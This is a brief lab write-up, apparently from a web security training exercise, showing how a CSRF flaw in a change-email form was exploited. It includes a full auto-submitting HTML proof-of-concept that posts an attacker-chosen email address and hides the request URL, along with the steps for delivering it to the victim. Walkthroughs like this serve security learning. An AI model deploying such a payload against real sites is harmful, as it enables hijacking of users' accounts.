My goal was to change the victim's email address, so I decided to host a malicious page that would automatically submit the change email form from the lab when accessed. First, I needed to craft a CSRF exploit, and to do that, I used the CSRF PoC generator built into Burp Suite Professional, which is very useful and saves time, though it’s possible to write the PoC manually.
By right-clicking the request and selecting Engagement tools / Generate CSRF PoC, I generated the following HTML:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><formaction="https://0a82009c0322bb4484beb90e00980091.web-security-academy.net/my-account/change-email"method="POST"><inputtype="hidden"name="email"value="hacked@ichyaboy.htb"/><inputtype="submit"value="Submit request"/></form> <script>history.pushState('', '', '/');document.forms[0].submit(); </script></body></html>
I modified the email value to a new one to avoid any issues indicating that the email was already in use. Then, I copied and pasted this HTML into my exploit server.
After clicking Store and Deliver exploit to victim, I saw that the lab was solved, confirming the change of the victim's email.